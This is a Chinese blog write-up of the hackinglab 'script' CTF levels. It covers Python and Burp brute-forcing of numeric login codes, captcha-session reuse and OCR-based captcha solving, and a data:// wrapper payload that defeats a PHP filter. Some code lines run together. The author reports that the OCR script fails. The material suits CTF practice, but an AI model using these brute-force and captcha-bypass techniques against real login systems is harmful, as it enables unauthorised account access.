hackinglab之脚本关

2023-10-17 22:20
文章标签 脚本 hackinglab

本文主要是介绍hackinglab之脚本关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1、key又又找不到了

打开链接,里边有个跳转,产看源代码:
在这里插入图片描述
发现一个界面一闪而逝,所以拦住(bp哦)它,看看有啥玄机:
查看源码,果然在这:
在这里插入图片描述

2、快速口算

这个题肯定不是手算啦,写个python脚本即可:

import requests
import reurl='http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php's= requests.Session()
r=s.get(url)
r.encoding='utf-8'
print(r.text)
num=re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)[0]
result=eval(num)
r=s.post(url,data={'v': eval(num)})
print (r.text)

在这里插入图片描述

3、这个题目是空的

空的,什么是空的呢?

提示了小写,意味着肯定是有输入信息的,表示空的那只能是null了啊

4、key又又找不到了

这个题还是有点难受的啊

首先产看源代码,是一个js在调用a()函数,则说明有一段函数代码,F12在source里找到,直接拿到HTML在线运行工具执行一遍发现不对啊,还是没有弹框,查看代码,发现有三段return干扰代码,直接删除,运行,弹窗了~

这个题目建议在firefox浏览器进行,因为google弹窗不能复制,还会显示干扰 -_-

5、逗比验证码第一期

这个大概测试了一下,不能注入,只能爆破,验证码可以用一个

所以bp拦包,直接爆破,字典就是1000-9999

线程设置高一点,一下子就跑出来了

6、逗比验证码第二期

这个比较复杂,虽然也是爆破,但是由于验证码一次之后就失效了,所以这里我们需要卡一波bug,在第一次输入正确验证码后,留下的cookie值不要让其失效,紧接着验证下一个密码即可,这是大概的原理。
具体操作就是,设置两个爆破点一个就是密码,另一个是vcode,密码就用刚才的四位纯数字字典,另一个字典为空,即可跑出来:
在这里插入图片描述

自己耐心点实践哦~,有问题可以大家一起交流

7、逗比的验证码第三期(SESSION)

这个也可以和上边那题目一样:
在这里插入图片描述

8、微笑一下就能过关了

这一关,说实话难倒我了,不过找到了一个关键代码:

<?php  header("Content-type: text/html; charset=utf-8");if (isset($_GET['view-source'])) { show_source(__FILE__); exit(); } include('flag.php'); $smile = 1;   // 这里是给smile赋初值
// 下边这些正则表达式进行判断if (!isset ($_GET['^_^'])) $smile = 0;  if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;  if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;  if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;  if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;  if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;  if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;  if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;  if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0; //preg_match ( string $pattern , string $subject , string $matches)//搜索subject与pattern给定的正则表达式的一个匹配.//pattern : 要搜索的模式,字符串类型(正则表达式)。//subject : 输入的字符串。//matches :(可有亦可无)如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。//所以以上就是把http、https这些在$pattern位置的字符都过滤了if ($smile) { if (@file_exists ($_GET['^_^'])) $smile = 0;  } //这里是file_exists() 函数检查文件或目录是否存在判断^_^不是一个文件//下边是这道题目的关键,也是最看不懂的//大概就是获取^_^的值,赋值给smile//若(●'◡'●)为smile则返回flagif ($smile) { $smile = @file_get_contents ($_GET['^_^']);  if ($smile === "(●'◡'●)") die($flag);  }  
?> 

这里构造的payload为:

http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?^.^=data://text/plain;charset=unicode,(●'◡'●)

9、逗比的手机验证码

这个登录进去发现需要验证另一个手机,但是又收不到验证码,可以先在自己手机上得到验证码,不要点掉,重新打开一个标签,把另一个手机的验证码填进去,就好了:

在这里插入图片描述

10、基情燃烧的岁月

根据提示,制作100-999的字典,直接bp爆破
在这里插入图片描述
又发现一个电话号码,接着爆破就OK了

11、验证码识别

这一关有点坑,找了很多方法。。。

这一关主要是验证码会过期,需要工具啥的来配合才能爆破

网上好多人都是用python脚本来跑的:
比如:

import pytesseract
from PIL import Image
import requests
import os
cur_path = os.getcwd()
vcode_path = os.path.join(cur_path, 'vcode.png')
header = {'Cookie': 'PHPSESSID=$Your Value'}def vcode():# 验证码识别函数pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'r = requests.get(pic_url, headers=header, timeout=10)with open(vcode_path, 'wb') as pic:pic.write(r.content)im = pytesseract.image_to_string(Image.open(vcode_path))im = im.replace(' ', '')if im != '':return imelse:return vcode()url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
for i in range(100, 1000):code = vcode()data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}r = requests.post(url, data=data, headers=header, timeout=10)response = r.content.decode('utf-8')if 'user_code or mobi_code error' in response:print('trying ' + str(i))else:print('the mobi_code is ' + str(i))print(response)break

但是我高了好久都会报错,不是模块的错,python版本是python3.x,反正就是跑不出来,还有好多,还有用工具的。。。太菜了,只能等待后续大佬出新教程了

12题之后的网站我打不开了…脚本关就到这里吧,后续可以了再更新~

·
·
·
·
·
·
·

《小白记录》

这篇关于hackinglab之脚本关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/228314

相关文章

10个Python自动化办公的脚本分享

《10个Python自动化办公的脚本分享》在日常办公中,我们常常会被繁琐、重复的任务占据大量时间,本文为大家分享了10个实用的Python自动化办公案例及源码,希望对大家有所帮助... 目录1. 批量处理 Excel 文件2. 自动发送邮件3. 批量重命名文件4. 数据清洗5. 生成 PPT6. 自动化测试

使用Java实现一个解析CURL脚本小工具

《使用Java实现一个解析CURL脚本小工具》文章介绍了如何使用Java实现一个解析CURL脚本的工具,该工具可以将CURL脚本中的Header解析为KVMap结构,获取URL路径、请求类型,解析UR... 目录使用示例实现原理具体实现CurlParserUtilCurlEntityICurlHandler

10个Python Excel自动化脚本分享

《10个PythonExcel自动化脚本分享》在数据处理和分析的过程中,Excel文件是我们日常工作中常见的格式,本文将分享10个实用的Excel自动化脚本,希望可以帮助大家更轻松地掌握这些技能... 目录1. Excel单元格批量填充2. 设置行高与列宽3. 根据条件删除行4. 创建新的Excel工作表5

Linux中shell解析脚本的通配符、元字符、转义符说明

《Linux中shell解析脚本的通配符、元字符、转义符说明》:本文主要介绍shell通配符、元字符、转义符以及shell解析脚本的过程,通配符用于路径扩展,元字符用于多命令分割,转义符用于将特殊... 目录一、linux shell通配符(wildcard)二、shell元字符(特殊字符 Meta)三、s

Python脚本实现自动删除C盘临时文件夹

《Python脚本实现自动删除C盘临时文件夹》在日常使用电脑的过程中,临时文件夹往往会积累大量的无用数据,占用宝贵的磁盘空间,下面我们就来看看Python如何通过脚本实现自动删除C盘临时文件夹吧... 目录一、准备工作二、python脚本编写三、脚本解析四、运行脚本五、案例演示六、注意事项七、总结在日常使用

java脚本使用不同版本jdk的说明介绍

《java脚本使用不同版本jdk的说明介绍》本文介绍了在Java中执行JavaScript脚本的几种方式,包括使用ScriptEngine、Nashorn和GraalVM,ScriptEngine适用... 目录Java脚本使用不同版本jdk的说明1.使用ScriptEngine执行javascript2.

解决Cron定时任务中Pytest脚本无法发送邮件的问题

《解决Cron定时任务中Pytest脚本无法发送邮件的问题》文章探讨解决在Cron定时任务中运行Pytest脚本时邮件发送失败的问题,先优化环境变量,再检查Pytest邮件配置,接着配置文件确保SMT... 目录引言1. 环境变量优化:确保Cron任务可以正确执行解决方案:1.1. 创建一个脚本1.2. 修

python写个唤醒睡眠电脑的脚本

《python写个唤醒睡眠电脑的脚本》这篇文章主要为大家详细介绍了如何使用python写个唤醒睡眠电脑的脚本,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 环境:win10python3.12问题描述:怎么用python写个唤醒睡眠电脑的脚本?解决方案:1.唤醒处于睡眠状

多模块的springboot项目发布指定模块的脚本方式

《多模块的springboot项目发布指定模块的脚本方式》该文章主要介绍了如何在多模块的SpringBoot项目中发布指定模块的脚本,作者原先的脚本会清理并编译所有模块,导致发布时间过长,通过简化脚本... 目录多模块的springboot项目发布指定模块的脚本1、不计成本地全部发布2、指定模块发布总结多模

shell脚本快速检查192.168.1网段ip是否在用的方法

《shell脚本快速检查192.168.1网段ip是否在用的方法》该Shell脚本通过并发ping命令检查192.168.1网段中哪些IP地址正在使用,脚本定义了网络段、超时时间和并行扫描数量,并使用... 目录脚本:检查 192.168.1 网段 IP 是否在用脚本说明使用方法示例输出优化建议总结检查 1